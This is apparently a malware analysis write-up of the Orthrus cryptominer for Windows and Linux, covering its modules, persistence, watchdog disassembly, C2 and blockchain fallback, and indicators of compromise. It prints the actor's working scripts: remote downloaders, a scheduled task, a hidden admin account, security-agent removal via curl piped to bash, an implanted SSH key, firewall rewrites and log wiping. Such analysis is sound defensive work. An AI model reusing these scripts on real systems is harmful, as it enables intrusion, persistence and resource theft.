Go Under the Hood: Orthrus

Orthrus_image

Orthrus is a crypto-mining malware targeting both Windows and Linux machines. One of the first analyses of the Linux version of the malware was published by Antiy in June 2019. Since then, the threat actor has evolved the malware to also infect Windows servers. Orthrus is made up of four different modules written in Powershell, shell script, and binary executables. The binary executables are written in Go (Golang) and the Linux and Windows versions or compiled from the same source code.

The four modules of the malware are a script to download and set up all the modules, a crypto-miner, a watchdog module, and a scanner. The watchdog module ensures all the other modules are running while the scanner scans the internet for other machines to infect. The way the malware spreads is through exploiting unpatched services and the use of weak credentials. If scanner managing to compromise the machine, it executes to script module to set up the infection.

The Setup

The initial infections start with the execution of a Powershell script on Windows and a shell script on Linux. The purpose of this script is to download other parts of the malware and execute them.

The Powershell script uses .NET’s WebClient to download the files. The function of performing the downloading is shown below. If the first URL fails, it tries to use a backup URL. All the URLs are included as variables in the script file.

function Update($url,$backup_url,$path,$proc_name)
 {        
    Get-Process -Name $proc_name | Stop-Process
    Remove-Item $path
    Try {
        $vc = New-Object System.Net.WebClient
        $vc.DownloadFile($url,$path)
    }
    Catch {
        Write-Output "donwload with backurl"
        $vc = New-Object System.Net.WebClient
        $vc.DownloadFile($backup_url,$path)
    }
}

The script checks if the files exist and that the file size is correct. The code snippet below shows the code for downloading all the parts. The comments are provided by the author of the code.

#miner_path
if((Test-Path $miner_path))
{
    Write-Output "miner file exist"
    if((Get-Item $miner_path).length -ne $miner_size)
    {
        Update $miner_url $miner_url_backup $miner_path $miner_name
    }
}
else {
    Update $miner_url $miner_url_backup $miner_path $miner_name
}
#miner_cfg_path
if((Test-Path $miner_cfg_path))
{
    Write-Output "miner_cfg file exist"
    if((Get-Item $miner_cfg_path).length -ne $miner_cfg_size)
    {
        Update $miner_cfg_url $miner_cfg_url_backup $miner_cfg_path $miner_cfg_name
    }
}
else {
    Update $miner_cfg_url $miner_cfg_url_backup $miner_cfg_path $miner_cfg_name
}
#scan_path
if((Test-Path $scan_path))
{
    Write-Output "scan file exist"
    if((Get-Item $scan_path).length -ne $scan_size)
    {
        Update $scan_url $scan_url_backup $scan_path $scan_name
    }
}
else {
    Update $scan_url $scan_url_backup $scan_path $scan_name
}
#dog_path
if((Test-Path $watchdog_path))
{
    Write-Output "watchdog file exist"
    if((Get-Item $watchdog_path).length -ne $watchdog_size)
    {
        Update $watchdog_url $watchdog_url_backup $watchdog_path $watchdog_name
    }
}
else {
    Update $watchdog_url $watchdog_url_backup $watchdog_path $watchdog_name
}
#clean.bat
if((Test-Path $killmodule_path))
{
    Remove-Item $killmodule_path
	Update $killmodule_url $killmodule_url_backup $killmodule_path $killmodule_name
}
else {
    Update $killmodule_url $killmodule_url_backup $killmodule_path $killmodule_name
}

Remove-Item $payload_path
Remove-Item $HOME\update.ps1
Try {
    $vc = New-Object System.Net.WebClient
    $vc.DownloadFile($payload_url,$payload_path)
}
Catch {
    Write-Output "download with backurl"
    $vc = New-Object System.Net.WebClient
    $vc.DownloadFile($payload_url_backup,$payload_path)
}
echo F | xcopy /y $payload_path $HOME\update.ps1

The script adds persistence via a scheduled task with the command:

SchTasks.exe /Create /SC MINUTE /TN "Update service for Windows Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\update.ps1" /MO 30 /F

After the miner, scanner, and watchdog processes have been started, a kill module is executed. This module is a batch file that is being executed. The batch file’s content has changed throughout different campaigns. The snippet below shows the content of older campaigns, where a blocking rule is added to the firewall.

netsh advfirewall firewall add rule name="ipcesi" dir=out action=block remoteip="43.245.222.57/32"

In the current campaign, the malware adds a new account on the machine with the code snippet shown below.

echo off
net user sqlbackup [email protected] /add
net localgroup administrators sqlbackup /add

The shell script used on infected Linux machines is more complex than its Powershell equivalent. As with many other mining malware, it tries to kill any other running mining processes. The script executes the commands below in the hope to kill as many miners as possible.

kill_miner_proc()
{
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "[email protected]"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f systemctI
    pkill -f WmiPrwSe
	    pkill -f sysguard
		    pkill -f sysupdate
			    pkill -f networkservice
    crontab -r
    rm -rf /var/spool/cron/*
}

The script also kills suspicious processes with the function shown below. The function will kill all the processes executed from the /tmp directory or has a high CPU usage. Processes with the malware’s module filenames are skipped.

kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

To ensure the malware’s activity on the infected machine isn’t inhibited, the script tries to disable SELINUX and flush any cached memory. This is shown in the code below.

echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches

The script tries to rename the binaries for both curl and wget. This is shown in the snippet below. This prevents other actors from also infecting the machine since the applications usually used for downloading and executing setup scripts have a different name.

bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

Older versions of the script also include the code shown below to uninstall Alibaba Cloud agents and Tencent Cloud agents if they are installed.

if ps aux | grep -i '[a]liyun'; then
  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

For persistence, the malware uses cron jobs. The script adds the following cron entry if it’s running as root:

echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}

If it doesn’t run as root, the following cron entry is added:

echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}

Older versions of the script also would add an ssh key to the authorized_keys for root via the following code:

chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX [email protected]" >> /root/.ssh/authorized_keys

The main goal with the script is to download and start other parts of the malware. The script downloads four files: the miner, the configuration file for the miner, the watchdog component, and the scanner component. The table below shows where the files are placed by the script based on the permissions it has.

Type of file Root path User path
Miner config /etc/config.json /tmp/config.json
Monero miner /etc/sysupdate /tmp/sysupdate
Watchdog /etc/sysguard /tmp/sysguard
Scanner /etc/networkservice /tmp/networkservice

Finally, the malware rewrites the iptables rules and clears some logs, as can be seen below. The blocked ports are commonly used by mining pools.

iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

Mining for Gold

The miner installed by the setup script is XMRig and it is used for mining Monero. In the most recent binaries, the threat actor has changed the internal name of the project to a name that is more likely to be found on the infected machine. For example, the miner for Linux has an internal name of screen with a file version of 2.8.5 while the miner for Windows has the internal name of jusched with the same version as the Linux miner. The table below lists the miners with their filename and SHA-256 hash.

Filename SHA-256 Note
sysupdata c51811c6d68b219d7804407ea54bd1f9b8ae0a4fcf1ddf6126740812bea52416 XMRig 5.6.0
sysupdata e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7 XMRig (Fake name “screen 2.8.5”)
sysupdate.exe 559a8ff34cf807e508d32e3a28864c687263587fe4ffdcefe3f462a7072dcc74 XMRIG (Fake name “jusched 2.8.5”)
sysupdate.exe e0a44f98e994ab0cdd88cacb803668903a302a83761e6376b80264364f6c5a9a XMRig 5.6.0

The wallet address and the mining pools used by the threat actor are listed in the table below.

Pool Wallet/User
xmr.f2pool.com:13531 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
randomxmonero.hk.nicehash.com:3380 3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr
xmr-eu2.nanopool.org:14444 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR

Watchdog component

The watchdog component is written in Go. An extracted source code structure is shown below. From the function names, it suggests that the code base is shared between both the Linux version and the Windows version of the malware. A deeper analysis of the samples confirms that the watchdog for Linux and Windows shares the same codebase.

Package _/tmp/0324/dog/cc: /tmp/0324/dog/cc
File: <autogenerated>	
	init Lines: 1 to 29 (28)	
File: get_newcc.go	
	exactcc Lines: 13 to 26 (13)	
	getdata Lines: 26 to 90 (64)	
	Get_new_cc Lines: 90 to 94 (4)	
File: get_target.go	
	get_target Lines: 30 to 123 (93)	
	Get_tasks_payload Lines: 123 to 135 (12)	
	Get_miner_path Lines: 135 to 151 (16)	
	Get_miner_conf_path Lines: 151 to 167 (16)	
	Get_scan_path Lines: 167 to 190 (23)	
	Get_ps_path Lines: 190 to 208 (18)	
	Get_dg_path Lines: 208 to 225 (17)	
	Get_payload Lines: 225 to 232 (7)	
	Get_conf Lines: 232 to 243 (11)	
	Format_newcc Lines: 243 to 250 (7)	
	Set_newcc Lines: 250 to 269 (19)	
	Check_cc Lines: 269 to 311 (42)	
	Check_ccfunc1 Lines: 282 to 363 (81)	
	Get_win_powershell_command_by_cc Lines: 311 to 322 (11)	
	Init_cc Lines: 322 to 349 (27)	
	Debug_cc_logput Lines: 349 to 357 (8)	
	Debug_cc_logputfunc1 Lines: 363 to 370 (7)	
File: utils.go	
	Http_GetData Lines: 16 to 60 (44)	
	Http_GetDatafunc1 Lines: 27 to 34 (7)	
	Calc_file_md5 Lines: 60 to 71 (11)	
	Encode_powershell Lines: 71 to 282 (211)	
Package main: /tmp/0324/dog
File: <autogenerated>	
	init Lines: 1 to 1 (0)	
File: watchdog.go	
	dog_protect_process_thread Lines: 18 to 41 (23)	
	dog_protect_cron_thread Lines: 41 to 70 (29)	
	dog_update_thread Lines: 70 to 92 (22)	
	dog_protect_cc_thread Lines: 92 to 168 (76)	
	getcurrentsystem Lines: 168 to 188 (20)	
	getisroot Lines: 188 to 226 (38)	
	start_dog Lines: 226 to 240 (14)	
	main Lines: 240 to 248 (8)	
Package _/tmp/0324/dog/platform: /tmp/0324/dog/platform
File: <autogenerated>	
	init Lines: 1 to 18 (17)	
File: entry_opeartion.go	
	Download_payload_and_exec Lines: 11 to 18 (7)	
	Walk_cron_tasks Lines: 18 to 32 (14)	
	Walk_process Lines: 32 to 49 (17)	
	Update_file Lines: 49 to 172 (123)	
	update_file_checkmd5 Lines: 172 to 197 (25)	
	download_payload_and_exec Lines: 197 to 199 (2)	
File: lin_opeartion.go	
	lin_get_command_base Lines: 16 to 41 (25)	
	lin_os_command_exec Lines: 41 to 87 (46)	
	lin_walk_cron Lines: 87 to 136 (49)	
	lin_walk_process Lines: 136 to 178 (42)	
	lin_download_payload_and_exec Lines: 178 to 205 (27)	
	lin_start_miner Lines: 205 to 223 (18)	
	lin_start_scan Lines: 223 to 239 (16)	
	Linux_init Lines: 239 to 241 (2)	
File: win_opeartion.go	
	win_os_command_exec Lines: 16 to 49 (33)	
	win_download_payload_and_exec Lines: 49 to 61 (12)	
	win_walk_schtasks Lines: 61 to 184 (123)	
	win_walk_cron Lines: 184 to 199 (15)	
	win_walk_process Lines: 199 to 239 (40)	
	win_start_miner Lines: 239 to 255 (16)	
	win_start_scan Lines: 255 to 265 (10)	

The Main Function

The main function does some information gathering about the host it has infected. It determines at what permission level the user has and sends that information back to the C2 server. For example, it sends iam-lin-root if the machine runs Linux and has root permissions. Other values it can send are:

  • iam-lin-normal
  • iam-win-root
  • iam-win-normal

The C2 server is accessed via HTTP. The URL uses, what appears to be, a random path. C2 URLs found in the samples are:

  • http://146.71.79.230/363A3EDC10A2930DVNICE/
  • http://185.181.10.234/E5DB0E07C3D7BE80V520/

After this information has been collected, the main work function is executed. The main worker function start_dog starts four Go routines:

  • dog_protect_cc_thread
  • dog_protect_cron_thread
  • dog_protect_process_thread
  • dog_update_thread

dog_protect_cron_thread

The protect cron function ensures that the persistence methods used by the malware are still active. The malware includes both code logic for Windows and Linux and will execute different functions depending on which operating system is used on the infected machine. The ASM snippet below shows the two branches.

0x006316b2  mov rax, qword [arg_38h]
0x006316b7  mov qword [rsp], rax
0x006316bb  mov rax, qword [arg_40h]
0x006316c0  mov qword [var_8h], rax
0x006316c5  call fcn.__tmp_0324_dog_platform.lin_walk_cron
0x006316ca  movzx eax, byte [var_10h]
0x006316cf  mov byte [arg_48h], al
0x006316d3  mov rbp, qword [var_18h]
0x006316d8  add rsp, 0x20
0x006316dc  ret
0x006316dd  mov rax, qword [arg_38h]
0x006316e2  mov qword [rsp], rax
0x006316e6  mov rax, qword [arg_40h]
0x006316eb  mov qword [var_8h], rax
0x006316f0  call fcn.__tmp_0324_dog_platform.win_walk_cron

Linux Cron Thread Functionality

Persistence on Linux machines is achieved via cron entries. The malware executes the shell command crontab -l and looks if the entry for the update.sh file exists in the output. If the expected line is not part of the output, the malware checks to see if the script file still exists. If it does, it just reads to cron entry. Otherwise, it downloads it.

The script file is downloaded to a temporary file into the /tmp folder. The snippet below shows how the filename is generated. The malware uses a random number from including 0 to less than, excluding, 1000. The number is added to the string shown in the snippet. If the number is 666, the corresponding filename will be /tmp/kow666kd.

0x00633284  mov qword [rsp], 0x3e8 ; 1000
0x0063328c  call fcn.math_rand.Intn
0x00633291  mov rax, qword [var_8h]
0x00633296  mov qword [var_60h], rax
0x0063329b  xorps xmm0, xmm0
0x0063329e  movups xmmword [var_88h], xmm0
0x006332a6  lea rax, qword sym.type.int
0x006332ad  mov qword [rsp], rax
0x006332b1  lea rcx, qword [var_60h]
0x006332b6  mov qword [var_8h], rcx
0x006332bb  call fcn.runtime.convT2E64
0x006332c0  mov rax, qword [var_18h]
0x006332c5  mov rcx, qword [var_10h]
0x006332ca  mov qword [var_88h], rcx
0x006332d2  mov qword [var_90h], rax
0x006332da  lea rax, qword [0x006c8e1f] ; /tmp/kow%dkd
0x006332e1  mov qword [rsp], rax
0x006332e5  mov qword [var_8h], 0xc ; 12
0x006332ee  lea rax, qword [var_88h]
0x006332f6  mov qword [var_10h], rax
0x006332fb  mov qword [var_18h], 1
0x00633304  mov qword [var_20h], 1
0x0063330d  call fcn.fmt.Sprintf

The script is executed with the shell command seen in the snippet below. The output is written to a file in the /tmp folder. The output file is also using a random number to produce a random filename. After it has been executed, the script file is removed.

0x00633371  mov qword [rsp], 0x3e8 ; 1000
0x00633379  call fcn.math_rand.Intn
0x0063337e  mov rax, qword [var_8h]
0x00633383  mov qword [var_58h], rax
0x00633388  xorps xmm0, xmm0
0x0063338b  movups xmmword [var_98h], xmm0
0x00633393  movups xmmword [var_a8h], xmm0
0x0063339b  lea rax, qword sym.type.string
0x006333a2  mov qword [rsp], rax
0x006333a6  lea rax, qword [var_78h]
0x006333ab  mov qword [var_8h], rax
0x006333b0  call fcn.runtime.convT2Estring
0x006333b5  mov rax, qword [var_10h]
0x006333ba  mov rcx, qword [var_18h]
0x006333bf  mov qword [var_98h], rax
0x006333c7  mov qword [var_a0h], rcx
0x006333cf  lea rax, qword sym.type.int
0x006333d6  mov qword [rsp], rax
0x006333da  lea rax, qword [var_58h]
0x006333df  mov qword [var_8h], rax
0x006333e4  call fcn.runtime.convT2E64
0x006333e9  mov rax, qword [var_10h]
0x006333ee  mov rcx, qword [var_18h]
0x006333f3  mov qword [var_a8h], rax
0x006333fb  mov qword [var_b0h], rcx
0x00633403  lea rax, qword [0x006cb999] ; sh %s > /tmp/%d_og &
0x0063340a  mov qword [rsp], rax
0x0063340e  mov qword [var_8h], 0x14 ; 20
0x00633417  lea rax, qword [var_98h]
0x0063341f  mov qword [var_10h], rax
0x00633424  mov qword [var_18h], 2
0x0063342d  mov qword [var_20h], 2
0x00633436  call fcn.fmt.Sprintf
0x0063343b  mov rax, qword [var_28h]
0x00633440  mov rcx, qword [var_30h]
0x00633445  mov qword [rsp], rax
0x00633449  mov qword [var_8h], rcx
0x0063344e  call fcn.__tmp_0324_dog_platform.lin_os_command_exec
0x00633453  mov rax, qword [var_68h]
0x00633458  mov qword [rsp], rax
0x0063345c  mov rax, qword [var_40h]
0x00633461  mov qword [var_8h], rax
0x00633466  call fcn.os.Remove

Windows Cron Thread Functionality

The way the malware executes commands on Windows is interesting. For each command, at batch script is created. The output from the command is written to a file which the malware reads. The assembly snippet below shows how the malware creates a random filename for the out. A random number between 0 and 5000 is used for the “randomness” of the name. The file is written to the %TMP% folder and masqueraded as a PNG file.

0x00633dc2  call fcn.os.TempDir
0x00633dc7  mov rax, qword [var_8h]
0x00633dcc  mov rcx, qword [rsp]
0x00633dd0  mov qword [var_120h], rcx
0x00633dd8  mov qword [var_128h], rax
0x00633de0  mov qword [rsp], 0x1388 ; 5000
0x00633de8  call fcn.math_rand.Intn
0x00633ded  mov rax, qword [var_8h]
0x00633df2  mov qword [var_60h], rax
0x00633df7  xorps xmm0, xmm0
0x00633dfa  movups xmmword [var_170h], xmm0
0x00633e02  movups xmmword [var_180h], xmm0
0x00633e0a  lea rax, qword sym.type.string
0x00633e11  mov qword [rsp], rax
0x00633e15  lea rcx, qword [var_120h]
0x00633e1d  mov qword [var_8h], rcx
0x00633e22  call fcn.runtime.convT2Estring
0x00633e27  mov rax, qword [var_18h]
0x00633e2c  mov rcx, qword [var_10h]
0x00633e31  mov qword [var_170h], rcx
0x00633e39  mov qword [var_178h], rax
0x00633e41  lea rax, qword sym.type.int
0x00633e48  mov qword [rsp], rax
0x00633e4c  lea rax, qword [var_60h]
0x00633e51  mov qword [var_8h], rax
0x00633e56  call fcn.runtime.convT2E64
0x00633e5b  mov rax, qword [var_18h]
0x00633e60  mov rcx, qword [var_10h]
0x00633e65  mov qword [var_180h], rcx
0x00633e6d  mov qword [var_188h], rax
0x00633e75  lea rax, qword [0x006cadfe] ; %s\JF90899%d266.png
0x00633e7c  mov qword [rsp], rax
0x00633e80  mov qword [var_8h], 0x13
0x00633e89  lea rax, qword [var_170h]
0x00633e91  mov qword [var_10h], rax
0x00633e96  mov qword [var_18h], 2
0x00633e9f  mov qword [var_20h], 2
0x00633ea8  call fcn.fmt.Sprintf

The malware uses a scheduled task a persistence method. To check the scheduled tasks on the machine, the malware executes:

    chcp 437 &schtasks /Query /V /FO CSV > %s

In the command, %s is replaced for the path to the output file described earlier. The command chcp is used to change the consoles code page to language United States. The commands are written to a batch file in the %TMP% folder and executed, this is shown in the code snippet below. After the code is written to the file, the batch file is executed and removed.

0x00633800  mov qword [rsp], 0x2710 ; 10000
0x00633808  call fcn.math_rand.Intn
0x0063380d  mov rax, qword [var_8h]
0x00633812  mov qword [var_58h], rax
0x00633817  xorps xmm0, xmm0
0x0063381a  movups xmmword [var_e0h], xmm0
0x00633822  movups xmmword [var_f0h], xmm0
0x0063382a  lea rax, qword sym.type.string
0x00633831  mov qword [rsp], rax
0x00633835  lea rax, qword [var_d0h]
0x0063383d  mov qword [var_8h], rax
0x00633842  call fcn.runtime.convT2Estring
0x00633847  mov rax, qword [var_18h]
0x0063384c  mov rcx, qword [var_10h]
0x00633851  mov qword [var_e0h], rcx
0x00633859  mov qword [var_e8h], rax
0x00633861  lea rax, qword sym.type.int
0x00633868  mov qword [rsp], rax
0x0063386c  lea rax, qword [var_58h]
0x00633871  mov qword [var_8h], rax
0x00633876  call fcn.runtime.convT2E64
0x0063387b  mov rax, qword [var_18h]
0x00633880  mov rcx, qword [var_10h]
0x00633885  mov qword [var_f0h], rcx
0x0063388d  mov qword [var_f8h], rax
0x00633895  lea rax, qword [0x006ca46b] ; %s\JF908%d772.bat
0x0063389c  mov qword [rsp], rax
0x006338a0  mov qword [var_8h], 0x11
0x006338a9  lea rax, qword [var_e0h]
0x006338b1  mov qword [var_10h], rax
0x006338b6  mov qword [var_18h], 2
0x006338bf  mov qword [var_20h], 2
0x006338c8  call fcn.fmt.Sprintf
0x006338cd  mov rax, qword [var_30h]
0x006338d2  mov qword [var_40h], rax
0x006338d7  mov rcx, qword [var_28h]
0x006338dc  mov qword [var_80h], rcx
0x006338e4  lea rdx, qword [var_60h]
0x006338e9  mov qword [rsp], rdx
0x006338ed  mov rdx, qword [arg_130h]
0x006338f5  mov qword [var_8h], rdx
0x006338fa  mov rdx, qword [arg_138h]
0x00633902  mov qword [var_10h], rdx
0x00633907  call fcn.runtime.stringtoslicebyte
0x0063390c  mov rax, qword [var_20h]
0x00633911  mov rcx, qword [var_28h]
0x00633916  mov rdx, qword [var_18h]
0x0063391b  mov rbx, qword [var_80h]
0x00633923  mov qword [rsp], rbx
0x00633927  mov rsi, qword [var_40h]
0x0063392c  mov qword [var_8h], rsi
0x00633931  mov qword [var_10h], rdx
0x00633936  mov qword [var_18h], rax
0x0063393b  mov qword [var_20h], rcx
0x00633940  mov dword [var_28h], 0x40000000
0x00633948  call fcn.io_ioutil.WriteFile
0x0063394d  lea rdi, qword [var_100h]
0x00633955  lea rsi, qword [0x006faf80] ; /c
0x0063395c  mov qword [rsp - 0x10], rbp
0x00633961  lea rbp, qword [rsp - 0x10]
0x00633966  call fcn.00456ac4
0x0063396b  mov rbp, qword [rbp]
0x0063396f  mov rax, qword [var_80h]
0x00633977  mov qword [var_110h], rax
0x0063397f  mov rcx, qword [var_40h]
0x00633984  mov qword [var_118h], rcx
0x0063398c  lea rdx, qword [0x006c7152] ; cmd
0x00633993  mov qword [rsp], rdx
0x00633997  mov qword [var_8h], 3
0x006339a0  lea rdx, qword [var_100h]
0x006339a8  mov qword [var_10h], rdx
0x006339ad  mov qword [var_18h], 2
0x006339b6  mov qword [var_20h], 2
0x006339bf  call fcn.os_exec.Command
0x006339c4  mov rax, qword [var_28h]
0x006339c9  mov qword [rsp], rax
0x006339cd  call fcn.os_exec___Cmd_.CombinedOutput
0x006339d2  mov rax, qword [var_8h]
0x006339d7  mov rcx, qword [var_10h]
0x006339dc  mov rdx, qword [var_18h]
0x006339e1  mov rbx, qword [var_20h]
0x006339e6  test rbx, rbx
0x006339e9  je 0x633b95
0x006339ef  mov rax, qword [var_80h]
0x006339f7  mov qword [rsp], rax
0x006339fb  mov rax, qword [var_40h]
0x00633a00  mov qword [var_8h], rax
0x00633a05  call fcn.os.Remove

If the scheduled task is missing, the malware adds it back again.

dog_protect_cc_thread

Every 25 minutes the malware checks in with the C2 server by sending a GET request to {C2URL}/CheckCC. If it doesn’t get a response, the malware uses its backup method for finding a new C2 server. The malware uses the Ethereum blockchain as a backup method. The snippet below shows that the malware is preparing a query to etherscan to lookup the transaction list for the address 0xb017eFb3339FfE0EB3dBF799Db6cb065376fFEda.

0x0060e0d3  sub rsp, 0x50
0x0060e0d7  mov qword [var_48h], rbp
0x0060e0dc  lea rbp, qword [var_48h]
0x0060e0e1  xorps xmm0, xmm0
0x0060e0e4  movups xmmword [var_38h], xmm0
0x0060e0e9  lea rax, qword sym.type.string
0x0060e0f0  mov qword [rsp], rax
0x0060e0f4  lea rax, qword [0x00836550] ; 0xb017eFb3339FfE0EB3dBF799Db6cb065376fFEda
0x0060e0fb  mov qword [var_8h], rax
0x0060e100  call fcn.runtime.convT2Estring
0x0060e105  mov rax, qword [var_10h]
0x0060e10a  mov rcx, qword [var_18h]
0x0060e10f  mov qword [var_38h], rax
0x0060e114  mov qword [var_40h], rcx
0x0060e119  lea rax, qword [0x006d73df] ; http://api.etherscan.io/api?module=account&action=txlist&address=%s&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken
0x0060e120  mov qword [rsp], rax
0x0060e124  mov qword [var_8h], 0x82
0x0060e12d  lea rax, qword [var_38h]
0x0060e132  mov qword [var_10h], rax
0x0060e137  mov qword [var_18h], 1
0x0060e140  mov qword [var_20h], 1
0x0060e149  call fcn.fmt.Sprintf
0x0060e14e  mov rax, qword [var_28h]
0x0060e153  mov rcx, qword [var_30h]
0x0060e158  mov qword [rsp], rax
0x0060e15c  mov qword [var_8h], rcx
0x0060e161  call fcn.__tmp_0324_dog_cc.getdata
0x0060e166  mov rax, qword [var_10h]
0x0060e16b  mov rcx, qword [var_18h]
0x0060e170  mov qword [arg_68h], rax
0x0060e175  mov qword [arg_70h], rcx
0x0060e17a  mov rbp, qword [var_48h]
0x0060e17f      add rsp, 0x50
0x0060e183      ret

From the list of transactions, the malware extracts all the messages from the address controlled by the threat actor. The new IP address is slightly “encoded”. The pattern “2f” is replaced with “.” to produce a valid IP string. The new C2 server uses the same URL path. With the new C2 server, a new init.sh/update.sh or init.ps1/update.ps1 file is downloaded and executed.

dog_update_thread

This function downloads and updates the configuration file for the malware. It downloads the configuration from the URL: {C2URL}/favorite.ico. The file is an INI file with a list of MD5 digests. The content of one configuration file is shown below.

[cf]
c: db2df2a149f7726ba59cbda815f429fc

[mm]
lin: c74e02044b96d157d214e9871a09531a
win: da518ae458f4651f350094bc871b12c8

[ss]
lin: a90b4d15f14fe59a4951de3840260662
win: 92fb294baa9545318998fe32e525c527

[sh]
lin: 949af511bfb9fb447206e1940448fd3e
win: 1ac16c6ce62625d4b1fe463bed0609b2

[dg]
lin: 318fa2c9d6010ad6b2bc5e23d7a6b756
